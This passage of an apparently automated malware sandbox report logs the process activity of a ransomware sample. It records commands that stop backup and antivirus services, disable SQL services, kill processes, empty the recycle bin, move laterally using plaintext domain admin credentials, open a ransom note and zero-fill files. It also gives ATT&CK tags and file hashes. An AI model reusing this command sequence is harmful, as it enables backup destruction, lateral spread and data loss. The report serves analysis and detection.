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C:\Windows\SysWOW64\net.exe"net.exe" stop YooIT /y2⤵
- System Location Discovery: System Language Discovery
PID:5280 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop YooIT /y3⤵
- System Location Discovery: System Language Discovery
PID:3412
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C:\Windows\SysWOW64\net.exe"net.exe" stop zhudongfangyu /y2⤵
- System Location Discovery: System Language Discovery
PID:3464 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop zhudongfangyu /y3⤵PID:5140
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C:\Windows\SysWOW64\net.exe"net.exe" stop stc_raw_agent /y2⤵
- System Location Discovery: System Language Discovery
PID:3644 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop stc_raw_agent /y3⤵PID:1472
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C:\Windows\SysWOW64\net.exe"net.exe" stop VSNAPVSS /y2⤵PID:5288
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VSNAPVSS /y3⤵PID:3012
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C:\Windows\SysWOW64\net.exe"net.exe" stop VeeamTransportSvc /y2⤵
- System Location Discovery: System Language Discovery
PID:5936 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VeeamTransportSvc /y3⤵
- System Location Discovery: System Language Discovery
PID:3952
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C:\Windows\SysWOW64\net.exe"net.exe" stop VeeamDeploymentService /y2⤵
- System Location Discovery: System Language Discovery
PID:3128 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VeeamDeploymentService /y3⤵
- System Location Discovery: System Language Discovery
PID:3956
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C:\Windows\SysWOW64\net.exe"net.exe" stop VeeamNFSSvc /y2⤵
- System Location Discovery: System Language Discovery
PID:5084 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop VeeamNFSSvc /y3⤵
- System Location Discovery: System Language Discovery
PID:5592
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C:\Windows\SysWOW64\net.exe"net.exe" stop veeam /y2⤵PID:2920
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop veeam /y3⤵
- System Location Discovery: System Language Discovery
PID:4052
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C:\Windows\SysWOW64\net.exe"net.exe" stop PDVFSService /y2⤵
- System Location Discovery: System Language Discovery
PID:3112 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop PDVFSService /y3⤵PID:5732
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C:\Windows\SysWOW64\net.exe"net.exe" stop BackupExecVSSProvider /y2⤵
- System Location Discovery: System Language Discovery
PID:5292 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop BackupExecVSSProvider /y3⤵
- System Location Discovery: System Language Discovery
PID:3736
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C:\Windows\SysWOW64\net.exe"net.exe" stop BackupExecAgentAccelerator /y2⤵
- System Location Discovery: System Language Discovery
PID:3388 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop BackupExecAgentAccelerator /y3⤵
- System Location Discovery: System Language Discovery
PID:3556
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C:\Windows\SysWOW64\net.exe"net.exe" stop BackupExecAgentBrowser /y2⤵
- System Location Discovery: System Language Discovery
PID:3144 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop BackupExecAgentBrowser /y3⤵
- System Location Discovery: System Language Discovery
PID:1620
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C:\Windows\SysWOW64\net.exe"net.exe" stop BackupExecDiveciMediaService /y2⤵
- System Location Discovery: System Language Discovery
PID:4368 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop BackupExecDiveciMediaService /y3⤵PID:1772
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C:\Windows\SysWOW64\net.exe"net.exe" stop BackupExecJobEngine /y2⤵
- System Location Discovery: System Language Discovery
PID:1840 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop BackupExecJobEngine /y3⤵
- System Location Discovery: System Language Discovery
PID:436
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C:\Windows\SysWOW64\net.exe"net.exe" stop BackupExecManagementService /y2⤵
- System Location Discovery: System Language Discovery
PID:5596 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop BackupExecManagementService /y3⤵
- System Location Discovery: System Language Discovery
PID:1088
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C:\Windows\SysWOW64\net.exe"net.exe" stop BackupExecRPCService /y2⤵
- System Location Discovery: System Language Discovery
PID:5896 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop BackupExecRPCService /y3⤵
- System Location Discovery: System Language Discovery
PID:4832
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C:\Windows\SysWOW64\net.exe"net.exe" stop AcrSch2Svc /y2⤵
- System Location Discovery: System Language Discovery
PID:2068 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop AcrSch2Svc /y3⤵
- System Location Discovery: System Language Discovery
PID:3820
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C:\Windows\SysWOW64\net.exe"net.exe" stop AcronisAgent /y2⤵PID:4936
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop AcronisAgent /y3⤵
- System Location Discovery: System Language Discovery
PID:5252
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C:\Windows\SysWOW64\net.exe"net.exe" stop CASAD2DWebSvc /y2⤵
- System Location Discovery: System Language Discovery
PID:3812 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop CASAD2DWebSvc /y3⤵PID:5892
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C:\Windows\SysWOW64\net.exe"net.exe" stop CAARCUpdateSvc /y2⤵
- System Location Discovery: System Language Discovery
PID:3628 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop CAARCUpdateSvc /y3⤵
- System Location Discovery: System Language Discovery
PID:4544
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C:\Windows\SysWOW64\net.exe"net.exe" stop sophos /y2⤵
- System Location Discovery: System Language Discovery
PID:1240 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop sophos /y3⤵
- System Location Discovery: System Language Discovery
PID:6052
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C:\Windows\SysWOW64\sc.exe"sc.exe" config SQLTELEMETRY start= disabled2⤵
- Launches sc.exe
PID:5556
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C:\Windows\SysWOW64\sc.exe"sc.exe" config SQLTELEMETRY$ECWDB2 start= disabled2⤵
- Launches sc.exe
PID:3668
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C:\Windows\SysWOW64\sc.exe"sc.exe" config SQLWriter start= disabled2⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:5824
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C:\Windows\SysWOW64\sc.exe"sc.exe" config SstpSvc start= disabled2⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:5124
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C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM mspub.exe /F2⤵
- System Location Discovery: System Language Discovery
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:5944
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C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM mydesktopqos.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:5588
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C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM mydesktopservice.exe /F2⤵
- System Location Discovery: System Language Discovery
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1876
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C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c rd /s /q %SYSTEMDRIVE%\$Recycle.bin2⤵PID:2536
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C:\Windows\SysWOW64\cmd.exe"cmd.exe" /C C:\Users\Admin\AppData\Local\Temp\tmp636D.bat2⤵
- System Location Discovery: System Language Discovery
PID:3688
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C:\Windows\SysWOW64\net.exe"net.exe" use \\10.127.0.121 /USER:EDENFIELD\efadmin P455w0rd2⤵PID:2484
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C:\Users\Admin\AppData\Local\Temp\nbq4a5jk.exe"C:\Users\Admin\AppData\Local\Temp\nbq4a5jk.exe" \10.127.0.121 -u EDENFIELD\efadmin -p P455w0rd -d -f -h -s -n 2 -c C:\Users\Admin\AppData\Local\Temp\5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:5928
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C:\Windows\SysWOW64\arp.exe"arp" -a2⤵
- Network Service Discovery
PID:4020
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C:\Windows\SysWOW64\notepad.exe"C:\Windows\System32\notepad.exe" C:\Users\Admin\Desktop\HOW_TO_DECYPHER_FILES.txt2⤵
- System Location Discovery: System Language Discovery
- Opens file in notepad (likely ransom note)
PID:5636
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C:\Windows\SysWOW64\cmd.exe"cmd.exe" /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 “%s” & Del /f /q “%s”2⤵
- System Network Configuration Discovery: Internet Connection Discovery
PID:1620 -
C:\Windows\SysWOW64\PING.EXEping 127.0.0.7 -n 33⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
PID:876
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C:\Windows\SysWOW64\fsutil.exefsutil file setZeroData offset=0 length=524288 “%s”3⤵PID:828
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" "/C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe2⤵
- System Location Discovery: System Language Discovery
PID:6092 -
C:\Windows\SysWOW64\choice.exechoice /C Y /N /D Y /T 33⤵PID:4028
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Network
MITRE ATT&CK Enterprise v15
Execution
Command and Scripting Interpreter
1PowerShell
1System Services
1Service Execution
1Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
232KB
MD575a586728aa168951b1c48f28f34c553
SHA14e150e7cbffa43fb120876221343af15b3332049
SHA2569c2a20b67ede0cc57eb3e3708ead52d98ad6065d5a539319d771846acfac6a75
SHA512586aff19e18c0b30c9e3aa859c3dc028c2472625e98ef7c46e023118ce518cea149f4a8fe45dc3d43aba2e2e8a9faeb9ef34c25fa5b745e5fa294bbcdde04851
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Filesize
1KB
MD5780a5c753dda23c9034eb2b5b704618a
SHA11d32d8cdfd5000772ea630a4976e642d0fbc3f56
SHA256e5748af6d359e56f56e176cbbb7a8f2c0ca019fa8f2497b716da3a7c120553f5
SHA5122efbc8c52d679a23635da2ccda95e122c1003b7990bdb25fcd30e1895522c0bc94ac33398de79d78cfef81ca7da6a9b4832c00bcec817e3c87aa5721962c30be